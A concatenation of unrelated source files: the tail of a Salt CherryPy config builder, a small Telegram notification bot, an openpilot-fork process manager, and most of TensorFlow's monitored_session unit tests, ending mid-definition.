'12.0.0') < 0: # CherryPy >= 12.0 no longer supports "timeout_monitor", only set # this config option when using an older version of CherryPy. # See Issue #44601 for more information. conf['global']['engine.timeout_monitor.on'] = self.apiopts.get( 'expire_responses', True ) if cpstats and self.apiopts.get('collect_stats', False): conf['/']['tools.cpstats.on'] = True if 'favicon' in self.apiopts: conf['/favicon.ico'] = { 'tools.staticfile.on': True, 'tools.staticfile.filename': self.apiopts['favicon'], } if self.apiopts.get('debug', False) is False: conf['global']['environment'] = 'production' # Serve static media if the directory has been set in the configuration if 'static' in self.apiopts: conf[self.apiopts.get('static_path', '/static')] = { 'tools.staticdir.on': True, 'tools.staticdir.dir': self.apiopts['static'], } # Add to global config cherrypy.config.update(conf['global']) return conf def get_app(opts): ''' Returns a WSGI app and a configuration dictionary ''' apiopts = opts.get(__name__.rsplit('.', 2)[-2], {}) # rest_cherrypy opts # Add Salt and salt-api config options to the main CherryPy config dict cherrypy.config['saltopts'] = opts cherrypy.config['apiopts'] = apiopts root = API() # cherrypy app cpyopts = root.get_conf() # cherrypy app opts return root, apiopts, cpyopts
notbot.py
import requests import threading class NotBot(): __BASE_URL = 'https://api.telegram.org/bot{token}/{endpoint}' def __init__(self, token): self.__update_url = self.__BASE_URL.format(token=token, endpoint='getUpdates') self.__send_url = self.__BASE_URL.format(token=token, endpoint='sendMessage') def notify(self, text): response = requests.get(self.__update_url) response.raise_for_status() chat_ids = set(msg['message']['from']['id'] for msg in response.json()['result']) for chat_id in chat_ids: params = {'chat_id': chat_id, 'text': text} requests.get(self.__send_url, params=params) def notify_async(self, text): notify_thread = threading.Thread(target=self.notify, args=(text,)) notify_thread.start()
manager.py
#!/usr/bin/env python3 import datetime import os import signal import subprocess import sys import traceback from multiprocessing import Process from typing import List, Tuple, Union import cereal.messaging as messaging import selfdrive.sentry as sentry from common.basedir import BASEDIR from common.params import Params, ParamKeyType from common.text_window import TextWindow from selfdrive.boardd.set_time import set_time from selfdrive.hardware import HARDWARE, PC, EON from selfdrive.manager.helpers import unblock_stdout from selfdrive.manager.process import ensure_running, launcher from selfdrive.manager.process_config import managed_processes from selfdrive.athena.registration import register, UNREGISTERED_DONGLE_ID from selfdrive.swaglog import cloudlog, add_file_handler from selfdrive.version import is_dirty, get_commit, get_version, get_origin, get_short_branch, \ terms_version, training_version from selfdrive.hardware.eon.apk import system sys.path.append(os.path.join(BASEDIR, "pyextra")) def manager_init() -> None: # update system time from panda set_time(cloudlog) # save boot log #subprocess.call("./bootlog", cwd=os.path.join(BASEDIR, "selfdrive/loggerd")) params = Params() params.clear_all(ParamKeyType.CLEAR_ON_MANAGER_START) default_params: List[Tuple[str, Union[str, bytes]]] = [ ("CompletedTrainingVersion", "0"), ("HasAcceptedTerms", "0"), ("OpenpilotEnabledToggle", "1"), ("CommunityFeaturesToggle", "1"), ("IsMetric", "1"), # HKG ("UseClusterSpeed", "0"), ("LongControlEnabled", "0"), ("MadModeEnabled", "1"), ("IsLdwsCar", "0"), ("LaneChangeEnabled", "0"), ("AutoLaneChangeEnabled", "0"), ("SccSmootherSlowOnCurves", "0"), ("SccSmootherSyncGasPressed", "0"), ("StockNaviDecelEnabled", "0"), ("KeepSteeringTurnSignals", "0"), ("WarningOverSpeedLimit", "0"), ("DisableOpFcw", "0"), ("ShowDebugUI", "0"), ("NewRadarInterface", "0"), ] if not PC: default_params.append(("LastUpdateTime", datetime.datetime.utcnow().isoformat().encode('utf8'))) if params.get_bool("RecordFrontLock"): params.put_bool("RecordFront", True) if not params.get_bool("DisableRadar_Allow"): params.delete("DisableRadar") # set unset params for k, v in default_params: if params.get(k) is None: params.put(k, v) # is this dashcam? if os.getenv("PASSIVE") is not None: params.put_bool("Passive", bool(int(os.getenv("PASSIVE", "0")))) if params.get("Passive") is None: raise Exception("Passive must be set to continue") # Create folders needed for msgq try: os.mkdir("/dev/shm") except FileExistsError: pass except PermissionError: print("WARNING: failed to make /dev/shm") # set version params params.put("Version", get_version()) params.put("TermsVersion", terms_version) params.put("TrainingVersion", training_version) params.put("GitCommit", get_commit(default="")) params.put("GitBranch", get_short_branch(default="")) params.put("GitRemote", get_origin(default="")) # set dongle id reg_res = register(show_spinner=True) if reg_res: dongle_id = reg_res else: serial = params.get("HardwareSerial") raise Exception(f"Registration failed for device {serial}") os.environ['DONGLE_ID'] = dongle_id # Needed for swaglog if not is_dirty(): os.environ['CLEAN'] = '1' # init logging sentry.init(sentry.SentryProject.SELFDRIVE) cloudlog.bind_global(dongle_id=dongle_id, version=get_version(), dirty=is_dirty(), device=HARDWARE.get_device_type()) def manager_prepare() -> None: for p in managed_processes.values(): p.prepare() def manager_cleanup() -> None: # send signals to kill all procs for p in managed_processes.values(): p.stop(block=False) # ensure all are killed for p in managed_processes.values(): p.stop(block=True) cloudlog.info("everything is dead") def manager_thread() -> None: if EON: Process(name="autoshutdownd", target=launcher, args=("selfdrive.autoshutdownd", "autoshutdownd")).start() system("am startservice com.neokii.optool/.MainService") Process(name="road_speed_limiter", target=launcher, args=("selfdrive.road_speed_limiter", "road_speed_limiter")).start() cloudlog.bind(daemon="manager") cloudlog.info("manager start") cloudlog.info({"environ": os.environ}) params = Params() ignore = [] if params.get("DongleId", encoding='utf8') == UNREGISTERED_DONGLE_ID: ignore += ["manage_athenad", "uploader"] if os.getenv("NOBOARD") is not None: ignore.append("pandad") ignore += [x for x in os.getenv("BLOCK", "").split(",") if len(x) > 0] ensure_running(managed_processes.values(), started=False, not_run=ignore) started_prev = False sm = messaging.SubMaster(['deviceState']) pm = messaging.PubMaster(['managerState']) while True: sm.update() not_run = ignore[:] started = sm['deviceState'].started driverview = params.get_bool("IsDriverViewEnabled") ensure_running(managed_processes.values(), started, driverview, not_run) # trigger an update after going offroad if started_prev and not started and 'updated' in managed_processes: os.sync() managed_processes['updated'].signal(signal.SIGHUP) started_prev = started running = ' '.join("%s%s\u001b[0m" % ("\u001b[32m" if p.proc.is_alive() else "\u001b[31m", p.name) for p in managed_processes.values() if p.proc) print(running) cloudlog.debug(running) # send managerState msg = messaging.new_message('managerState') msg.managerState.processes = [p.get_process_state_msg() for p in managed_processes.values()] pm.send('managerState', msg) # Exit main loop when uninstall/shutdown/reboot is needed shutdown = False for param in ("DoUninstall", "DoShutdown", "DoReboot"): if params.get_bool(param): shutdown = True params.put("LastManagerExitReason", param) cloudlog.warning(f"Shutting down manager - {param} set") if shutdown: break def main() -> None: prepare_only = os.getenv("PREPAREONLY") is not None manager_init() # Start UI early so prepare can happen in the background if not prepare_only: managed_processes['ui'].start() manager_prepare() if prepare_only: return # SystemExit on sigterm signal.signal(signal.SIGTERM, lambda signum, frame: sys.exit(1)) try: manager_thread() except Exception: traceback.print_exc() sentry.capture_exception() finally: manager_cleanup() params = Params() if params.get_bool("DoUninstall"): cloudlog.warning("uninstalling") HARDWARE.uninstall() elif params.get_bool("DoReboot"): cloudlog.warning("reboot") HARDWARE.reboot() elif params.get_bool("DoShutdown"): cloudlog.warning("shutdown") HARDWARE.shutdown() if __name__ == "__main__": unblock_stdout() try: main() except Exception: add_file_handler(cloudlog) cloudlog.exception("Manager failed to start") # Show last 3 lines of traceback error = traceback.format_exc(-3) error = "Manager failed to start\n\n" + error with TextWindow(error) as t: t.wait_for_exit() raise # manual exit because we are forked sys.exit(0)
monitored_session_test.py
# pylint: disable=g-bad-file-header # Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for monitored_session.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import glob import os import sys import threading import time import traceback from tensorflow.contrib.framework.python.ops import variables as variables_lib from tensorflow.contrib.testing.python.framework import util_test from tensorflow.core.protobuf import config_pb2 from tensorflow.core.protobuf import debug_pb2 from tensorflow.python.client import session as session_lib from tensorflow.python.distribute import distribute_coordinator from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops from tensorflow.python.framework import test_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops import variables from tensorflow.python.platform import test from tensorflow.python.summary import summary from tensorflow.python.training import basic_session_run_hooks from tensorflow.python.training import checkpoint_management from tensorflow.python.training import coordinator from tensorflow.python.training import monitored_session from tensorflow.python.training import saver as saver_lib from tensorflow.python.training import session_run_hook class ScaffoldTest(test.TestCase): """Scaffold tests.""" def test_nothing_created_before_finalize(self): with ops.Graph().as_default(): scaffold = monitored_session.Scaffold() self.assertEqual(None, scaffold.init_op) self.assertEqual(None, scaffold.init_feed_dict) self.assertEqual(None, scaffold.init_fn) self.assertEqual(None, scaffold.ready_op) self.assertEqual(None, scaffold.ready_for_local_init_op) self.assertEqual(None, scaffold.local_init_op) self.assertEqual(None, scaffold.saver) def test_defaults_empty_graph(self): with ops.Graph().as_default(): scaffold = monitored_session.Scaffold() variables.VariableV1(1, name='my_var') variables.VariableV1( 2, name='my_local_var', collections=[ops.GraphKeys.LOCAL_VARIABLES]) scaffold.finalize() self.assertTrue(isinstance(scaffold.init_op, ops.Operation)) self.assertEqual(None, scaffold.init_feed_dict) self.assertEqual(None, scaffold.init_fn) self.assertTrue(isinstance(scaffold.ready_op, ops.Tensor)) self.assertTrue(isinstance(scaffold.ready_for_local_init_op, ops.Tensor)) self.assertTrue(isinstance(scaffold.local_init_op, ops.Operation)) self.assertTrue(isinstance(scaffold.saver, saver_lib.Saver)) with self.cached_session() as sess: self.assertItemsEqual([b'my_var', b'my_local_var'], sess.run(scaffold.ready_op)) self.assertItemsEqual([b'my_var'], sess.run(scaffold.ready_for_local_init_op)) sess.run(scaffold.init_op) self.assertEqual(0, len(sess.run(scaffold.ready_for_local_init_op))) sess.run(scaffold.local_init_op) self.assertEqual(0, len(sess.run(scaffold.ready_op))) def test_defaults_no_variables(self): with ops.Graph().as_default(): scaffold = monitored_session.Scaffold() constant_op.constant(1, name='my_const') scaffold.finalize() self.assertTrue(isinstance(scaffold.init_op, ops.Operation)) self.assertEqual(None, scaffold.init_feed_dict) self.assertEqual(None, scaffold.init_fn) self.assertTrue(isinstance(scaffold.ready_op, ops.Tensor)) self.assertTrue(isinstance(scaffold.ready_for_local_init_op, ops.Tensor)) self.assertTrue(isinstance(scaffold.local_init_op, ops.Operation)) self.assertTrue(isinstance(scaffold.saver, saver_lib.Saver)) def test_caches_values(self): with ops.Graph().as_default(): variables.VariableV1([1]) scaffold1 = monitored_session.Scaffold() scaffold1.finalize() scaffold2 = monitored_session.Scaffold() scaffold2.finalize() self.assertEqual(scaffold1.init_op, scaffold2.init_op) self.assertEqual(scaffold1.ready_op, scaffold2.ready_op) self.assertEqual(scaffold1.ready_for_local_init_op, scaffold2.ready_for_local_init_op) self.assertEqual(scaffold1.local_init_op, scaffold2.local_init_op) self.assertEqual(scaffold1.saver, scaffold2.saver) def test_raise_error_if_more_than_one_cached_item(self): with ops.Graph().as_default(): variables.VariableV1([1]) ops.add_to_collection(ops.GraphKeys.SAVERS, saver_lib.Saver()) ops.add_to_collection(ops.GraphKeys.SAVERS, saver_lib.Saver()) with self.assertRaisesRegexp(RuntimeError, 'More than one item'): monitored_session.Scaffold().finalize() def test_uses_passed_values(self): with ops.Graph().as_default(): variables.VariableV1([1]) saver = saver_lib.Saver() scaffold = monitored_session.Scaffold( init_op=2, init_feed_dict=3, init_fn=lambda scaffold, sess: 4, ready_op=5, ready_for_local_init_op=6, local_init_op=7, saver=saver) scaffold.finalize() self.assertEqual(2, scaffold.init_op) self.assertEqual(3, scaffold.init_feed_dict) self.assertTrue(callable(scaffold.init_fn)) self.assertEqual(5, scaffold.ready_op) self.assertEqual(6, scaffold.ready_for_local_init_op) self.assertEqual(7, scaffold.local_init_op) self.assertEqual(saver, scaffold.saver) def test_graph_is_finalized(self): with ops.Graph().as_default(): variables.VariableV1([1]) monitored_session.Scaffold().finalize() with self.assertRaisesRegexp(RuntimeError, 'Graph is finalized and cannot be modified'): constant_op.constant([0]) def test_new_scaffold_from_default_scaffold(self): scaffold1 = monitored_session.Scaffold() with ops.Graph().as_default(): variables.VariableV1([1]) saver = saver_lib.Saver() scaffold2 = monitored_session.Scaffold( init_op=2, init_feed_dict=3, init_fn=lambda scaffold, sess: 4, ready_op=5, ready_for_local_init_op=6, local_init_op=7, saver=saver, copy_from_scaffold=scaffold1) scaffold2.finalize() self.assertEqual(2, scaffold2.init_op) self.assertEqual(3, scaffold2.init_feed_dict) self.assertTrue(callable(scaffold2.init_fn)) self.assertEqual(5, scaffold2.ready_op) self.assertEqual(6, scaffold2.ready_for_local_init_op) self.assertEqual(7, scaffold2.local_init_op) self.assertEqual(saver, scaffold2.saver) def test_new_scaffold_from_existing_scaffold(self): with ops.Graph().as_default(): variables.VariableV1([1]) saver = saver_lib.Saver() scaffold1 = monitored_session.Scaffold( init_op=2, init_feed_dict=3, init_fn=lambda scaffold, sess: 4, ready_op=5, ready_for_local_init_op=6, local_init_op=7, saver=saver) scaffold2 = monitored_session.Scaffold( init_op=4, init_feed_dict=6, init_fn=lambda scaffold, sess: 8, ready_op=10, ready_for_local_init_op=12, local_init_op=14, saver=saver, copy_from_scaffold=scaffold1) scaffold2.finalize() self.assertEqual(4, scaffold2.init_op) self.assertEqual(6, scaffold2.init_feed_dict) self.assertTrue(callable(scaffold2.init_fn)) self.assertEqual(10, scaffold2.ready_op) self.assertEqual(12, scaffold2.ready_for_local_init_op) self.assertEqual(14, scaffold2.local_init_op) self.assertEqual(saver, scaffold2.saver) def test_copy_from_scaffold_is_scaffold(self): with ops.Graph().as_default(): with self.assertRaisesRegexp( TypeError, 'copy_from_scaffold is not a Scaffold instance'): monitored_session.Scaffold(copy_from_scaffold=1) def _test_dir(temp_dir, test_name): """Create an empty dir to use for tests. Args: temp_dir: Tmp directory path. test_name: Name of the test. Returns: Absolute path to the test directory. """ test_dir = os.path.join(temp_dir, test_name) if os.path.isdir(test_dir): for f in glob.glob('%s/*' % test_dir): os.remove(f) else: os.makedirs(test_dir) return test_dir class FakeHook(session_run_hook.SessionRunHook): def __init__(self): self.should_stop = False self.request = None self.call_counter = collections.Counter() self.last_run_context = None self.last_run_values = None def begin(self): self.call_counter['begin'] += 1 def after_create_session(self, session, coord): # pylint: disable=unused-argument self.call_counter['after_create_session'] += 1 def before_run(self, run_context): self.call_counter['before_run'] += 1 self.last_run_context = run_context return self.request def after_run(self, run_context, run_values): self.call_counter['after_run'] += 1 self.last_run_values = run_values if self.should_stop: run_context.request_stop() def end(self, session): self.call_counter['end'] += 1 class MonitoredTrainingSessionTest(test.TestCase): """Tests MonitoredTrainingSession.""" def test_saving_restoring_checkpoint(self): logdir = _test_dir(self.get_temp_dir(), 'test_saving_restoring_checkpoint') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(2, session.run(gstep)) def test_save_checkpoint_steps(self): logdir = _test_dir(self.get_temp_dir(), 'test_save_checkpoint_steps') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir, save_checkpoint_steps=100, log_step_count_steps=10) as session: for _ in range(100): session.run(new_gstep) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(100, session.run(gstep)) def test_save_checkpoint_secs(self): logdir = _test_dir(self.get_temp_dir(), 'test_save_checkpoint_secs') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir, save_checkpoint_secs=0.1, log_step_count_steps=10) as session: session.run(new_gstep) time.sleep(0.2) for _ in range(10): session.run(new_gstep) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(11, session.run(gstep)) def test_summaries_steps(self): logdir = _test_dir(self.get_temp_dir(), 'test_summaries_steps') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) summary.scalar('my_summary_tag', new_gstep * 2) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir, save_summaries_steps=100, log_step_count_steps=10) as session: for _ in range(101): session.run(new_gstep) summaries = util_test.latest_summaries(logdir) tags = [s.summary.value[0].tag for s in summaries] self.assertIn('my_summary_tag', tags) self.assertIn('global_step/sec', tags) def test_summaries_secs(self): logdir = _test_dir(self.get_temp_dir(), 'test_summaries_secs') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) summary.scalar('my_summary_tag', new_gstep * 2) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir, save_summaries_steps=None, save_summaries_secs=0.1, log_step_count_steps=10) as session: session.run(new_gstep) time.sleep(0.2) for _ in range(101): session.run(new_gstep) summaries = util_test.latest_summaries(logdir) tags = [s.summary.value[0].tag for s in summaries] self.assertIn('my_summary_tag', tags) self.assertIn('global_step/sec', tags) def test_custom_saving(self): logdir = _test_dir(self.get_temp_dir(), 'test_saving_restoring_checkpoint') fake_hook = FakeHook() with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() do_step = state_ops.assign_add(gstep, 1) with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir, chief_only_hooks=[fake_hook], save_checkpoint_secs=0) as session: self.assertEqual(0, session.run(gstep)) self.assertEqual(1, session.run(do_step)) self.assertEqual(2, session.run(do_step)) # Check whether custom hook called or not self.assertEqual(1, fake_hook.call_counter['begin']) # A restart will not find the checkpoint, since we didn't save. with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(0, session.run(gstep)) class MockExtended(object): def __init__(self, between_graph, should_init, should_checkpoint, should_save_summary): self.experimental_between_graph = between_graph self.experimental_should_init = should_init self.should_checkpoint = should_checkpoint self.should_save_summary = should_save_summary class MockStrategy(object): def __init__(self, between_graph=False, should_init=True, should_checkpoint=None, should_save_summary=None): self.extended = MockExtended(between_graph, should_init, should_checkpoint, should_save_summary) class MonitoredTrainingSessionWithDistributeCoordinatorTest(test.TestCase): """Test distribute coordinator controls summary saving and checkpointing.""" def test_summary_hook_enabled(self): context = distribute_coordinator._WorkerContext( MockStrategy(should_save_summary=True), None, None, None) logdir = _test_dir(self.get_temp_dir(), 'test_summaries_enabled') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) summary.scalar('my_summary_tag', new_gstep * 2) with context, monitored_session.MonitoredTrainingSession( checkpoint_dir=logdir, save_summaries_steps=100, log_step_count_steps=10) as session: for _ in range(101): session.run(new_gstep) summaries = util_test.latest_summaries(logdir) tags = [s.summary.value[0].tag for s in summaries] self.assertIn('my_summary_tag', tags) self.assertIn('global_step/sec', tags) def test_summary_hook_disabled(self): context = distribute_coordinator._WorkerContext( MockStrategy(should_save_summary=False), None, None, None) logdir = _test_dir(self.get_temp_dir(), 'test_summaries_disabled') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) summary.scalar('my_summary_tag', new_gstep * 2) with context, monitored_session.MonitoredTrainingSession( checkpoint_dir=logdir, save_summaries_steps=100, log_step_count_steps=10) as session: for _ in range(101): session.run(new_gstep) # No summary is saved. summaries = util_test.latest_summaries(logdir) self.assertEqual(len(summaries), 0) def test_checkpoint_hook_enabled(self): context = distribute_coordinator._WorkerContext( MockStrategy(should_checkpoint=True), None, None, None) logdir = _test_dir(self.get_temp_dir(), 'test_save_checkpoint_enabled') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) with context, monitored_session.MonitoredTrainingSession( checkpoint_dir=logdir, save_checkpoint_steps=100, log_step_count_steps=10) as session: for _ in range(100): session.run(new_gstep) # A restart will find the checkpoint and recover automatically. with monitored_session.MonitoredTrainingSession( is_chief=True, checkpoint_dir=logdir) as session: self.assertEqual(100, session.run(gstep)) def test_checkpoint_hook_disabled(self): context = distribute_coordinator._WorkerContext( MockStrategy(should_checkpoint=False), None, None, None) logdir = _test_dir(self.get_temp_dir(), 'test_save_checkpoint_disabled') with ops.Graph().as_default(): gstep = variables_lib.get_or_create_global_step() new_gstep = state_ops.assign_add(gstep, 1) with context, monitored_session.MonitoredTrainingSession( checkpoint_dir=logdir, save_checkpoint_steps=100, log_step_count_steps=10) as session: for _ in range(100): session.run(new_gstep) # No checkpoint is saved. checkpoint = checkpoint_management.latest_checkpoint(logdir) self.assertIsNone(checkpoint) class StopAtNSession(monitored_session._WrappedSession): """A wrapped session that stops at the N-th call to _check_stop.""" def __init__(self, sess, n): super(StopAtNSession, self).__init__(sess) self._count = n def _check_stop(self): if self._count == 0: return True self._count -= 1 return False class WrappedSessionTest(test.TestCase): """_WrappedSession tests.""" @test_util.run_deprecated_v1 def test_properties(self): with self.cached_session() as sess: constant_op.constant(0.0) wrapped_sess = monitored_session._WrappedSession(sess) self.assertEquals(sess.graph, wrapped_sess.graph) self.assertEquals(sess.sess_str, wrapped_sess.sess_str) @test_util.run_deprecated_v1 def test_should_stop_on_close(self): with self.cached_session() as sess: wrapped_sess = monitored_session._WrappedSession(sess) self.assertFalse(wrapped_sess.should_stop()) wrapped_sess.close() self.assertTrue(wrapped_sess.should_stop()) @test_util.run_deprecated_v1 def test_should_stop_uses_check_stop(self): with self.cached_session() as sess: wrapped_sess = StopAtNSession(sess, 3) self.assertFalse(wrapped_sess.should_stop()) self.assertFalse(wrapped_sess.should_stop()) self.assertFalse(wrapped_sess.should_stop()) self.assertTrue(wrapped_sess.should_stop()) @test_util.run_deprecated_v1 def test_should_stop_delegates_to_wrapped_session(self): with self.cached_session() as sess: wrapped_sess0 = StopAtNSession(sess, 4) wrapped_sess1 = monitored_session._WrappedSession(wrapped_sess0) self.assertFalse(wrapped_sess1.should_stop()) self.assertFalse(wrapped_sess1.should_stop()) self.assertFalse(wrapped_sess1.should_stop()) self.assertFalse(wrapped_sess1.should_stop()) self.assertTrue(wrapped_sess1.should_stop()) @test_util.run_deprecated_v1 def test_close_twice(self): with self.cached_session() as sess: wrapped_sess = monitored_session._WrappedSession(sess) wrapped_sess.close() self.assertTrue(wrapped_sess.should_stop()) wrapped_sess.close() self.assertTrue(wrapped_sess.should_stop()) @test_util.run_deprecated_v1 def test_run(self): with self.cached_session() as sess: c = constant_op.constant(0) v = array_ops.identity(c) self.assertEqual(42, sess.run(v, feed_dict={c: 42})) wrapped_sess = monitored_session._WrappedSession(sess) self.assertEqual(51, wrapped_sess.run(v, feed_dict={c: 51})) def busy_wait_for_coord_stop(coord): while not coord.should_stop(): time.sleep(0.001) class CoordinatedSessionTest(test.TestCase): """_CoordinatedSession tests.""" @test_util.run_deprecated_v1 def test_properties(self): with self.cached_session() as sess: constant_op.constant(0.0) coord = coordinator.Coordinator() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertEquals(sess.graph, coord_sess.graph) self.assertEquals(sess.sess_str, coord_sess.sess_str) @test_util.run_deprecated_v1 def test_run(self): with self.cached_session() as sess: c = constant_op.constant(0) v = array_ops.identity(c) coord = coordinator.Coordinator() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertEqual(42, coord_sess.run(v, feed_dict={c: 42})) @test_util.run_deprecated_v1 def test_should_stop_on_close(self): with self.cached_session() as sess: coord = coordinator.Coordinator() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertFalse(coord_sess.should_stop()) coord_sess.close() self.assertTrue(coord_sess.should_stop()) @test_util.run_deprecated_v1 def test_should_stop_on_coord_stop(self): with self.cached_session() as sess: coord = coordinator.Coordinator() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertFalse(coord_sess.should_stop()) coord.request_stop() self.assertTrue(coord_sess.should_stop()) @test_util.run_deprecated_v1 def test_dont_request_stop_on_exception_in_main_thread(self): with self.cached_session() as sess: c = constant_op.constant(0) v = array_ops.identity(c) coord = coordinator.Coordinator() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertFalse(coord_sess.should_stop()) self.assertEqual(0, coord_sess.run(c)) self.assertEqual(1, coord_sess.run(v, feed_dict={c: 1})) with self.assertRaisesRegexp(TypeError, 'None has invalid type'): coord_sess.run([None], feed_dict={c: 2}) self.assertFalse(coord.should_stop()) self.assertFalse(coord_sess.should_stop()) @test_util.run_deprecated_v1 def test_stop_threads_on_close_after_exception(self): with self.cached_session() as sess: c = constant_op.constant(0) v = array_ops.identity(c) coord = coordinator.Coordinator() threads = [ threading.Thread( target=busy_wait_for_coord_stop, args=(coord,)) for _ in range(3) ] for t in threads: coord.register_thread(t) t.start() coord_sess = monitored_session._CoordinatedSession(sess, coord) self.assertFalse(coord_sess.should_stop()) for t in threads: self.assertTrue(t.is_alive()) self.assertEqual(0, coord_sess.run(c)) for t in threads: self.assertTrue(t.is_alive()) self.assertEqual(1, coord_sess.run(v, feed_dict={c: 1})) for t in threads: self.assertTrue(t.is_alive()) with self.assertRaisesRegexp(TypeError, 'None has invalid type'): coord_sess.run([None], feed_dict={c: 2}) coord_sess.close() for t in threads: self.assertFalse(t.is_alive()) self.assertTrue(coord.should_stop()) self.assertTrue(coord_sess.should_stop()) def test_stop_threads_on_close(self): with self.cached_session() as sess: coord = coordinator.Coordinator() threads = [ threading.Thread( target=busy_wait_for_coord_stop, args=(coord,)) for _ in range(3) ] for t in threads: coord.register_thread(t) t.start() coord_sess = monitored_session._CoordinatedSession(sess, coord) coord_sess.close() for t in threads: self.assertFalse(t.is_alive()) self.assertTrue(coord.should_stop()) self.assertTrue(coord_sess.should_stop()) @test_util.run_deprecated_v1 def test_propagates_exception_trace(self): assertion = control_flow_ops.Assert(False, ['This should fail.']) with self.cached_session() as sess: coord = coordinator.Coordinator(clean_stop_exception_types=()) coord_sess = monitored_session._CoordinatedSession(sess, coord) try: coord_sess.run([assertion]) self.fail('No exception was raised by assertion.') except errors_impl.InvalidArgumentError: # Extract the name of the file where the exception was first raised. _, _, exc_traceback = sys.exc_info() tb = traceback.extract_tb(exc_traceback) exc_source_file = tb[-1][0] exc_source_basename = os.path.basename(exc_source_file) # If it's monitored_session.py then the original stack trace was not # correctly propagated. self.assertIn( exc_source_basename, ['session.py', 'monitored_session.py'], 'The exception was raised from an unrecognized file. This unit ' 'test probably needs to be updated. Traceback:\n%s\n' % tb) self.assertEqual( exc_source_basename, 'session.py', 'Original stack trace was not propagated by MonitoredSession. ' 'Traceback:\n%s' % tb) class AbortAtNSession(object): """A mock session that aborts at the N-th run call.""" def __init__(self, sess, n): self._sess = sess self._count = n def close(self): pass def run(self, *args, **kwargs): if self._count == 0: raise errors_impl.AbortedError('Aborted at N', None, None) self._count -= 1 return self._sess.run(*args, **kwargs) class StopCoordinatorWithException(session_run_hook.SessionRunHook): """With this hook Coordinator throws an exception after N-runs.""" def __init__(self, calls_before_stopping, exception_to_raise=None): self._started_the_side_thread_already = False self._lock = threading.Lock() self._stored_exception_event = threading.Event() self._calls_before_stopping = calls_before_stopping self._exception_to_raise = (exception_to_raise or errors_impl.AbortedError( None, None, 'Aborted at N')) def _maybe_stop_with_exception(self, coord): while True: with self._lock: if self._calls_before_stopping == 0: try: raise self._exception_to_raise except Exception as e: # pylint: disable=broad-except coord.request_stop(e) self._stored_exception_event.set() break def after_create_session(self, session, coord): if self._started_the_side_thread_already: return separate_thread = threading.Thread( target=self._maybe_stop_with_exception, args=(coord,)) coord.register_thread(separate_thread) separate_thread.start() self._started_the_side_thread_already = True # Coordinator will take care of joining `separate_thread`. def after_run(self, run_context, run_values): stopping_now = False with self._lock: self._calls_before_stopping -= 1 if self._calls_before_stopping == 0: stopping_now = True if stopping_now: self._stored_exception_event.wait() class FailTrainingAfterCoordinatorStopped(StopCoordinatorWithException): """With this hook training encounters an exception after N-runs.""" def __init__(self, calls_before_stopping): StopCoordinatorWithException.__init__(self, calls_before_stopping) self._coord = None def after_create_session(self, session, coord): self._coord = coord return StopCoordinatorWithException.after_create_session( self, session, coord) def after_run(self, run_context, run_values): StopCoordinatorWithException.after_run(self, run_context, run_values) try: # After a `run`, an exception could have been stored inside the # coordinator. self._coord.raise_requested_exception() except errors_impl.AbortedError: # In real world, the main thread may or may not know about the exception # that stopped the coordinator. Because the coordinator has stopped, the # main thread could have gotten stuck as well (for example, the # coordinator was supposed to execute `FIFOQueue.enqueue` while the main # thread is executing a blocking `FIFOQueue.dequeue`). After it got stuck, # the session is going to get garbage collected after some time with: raise errors_impl.CancelledError(None, None, 'Session got garbage-collected.') class CountingSessionCreator(object): """A creator that counts the number of created sessions.""" def __init__(self, session): self._initial_session = session # We only have one session per test case. We can't re-create it, thus # it shouldn't be closed. self._initial_session.close = lambda *args: None self._create_session_calls = 0 @property def number_of_sessions_created(self): return self._create_session_calls def create_session(self): 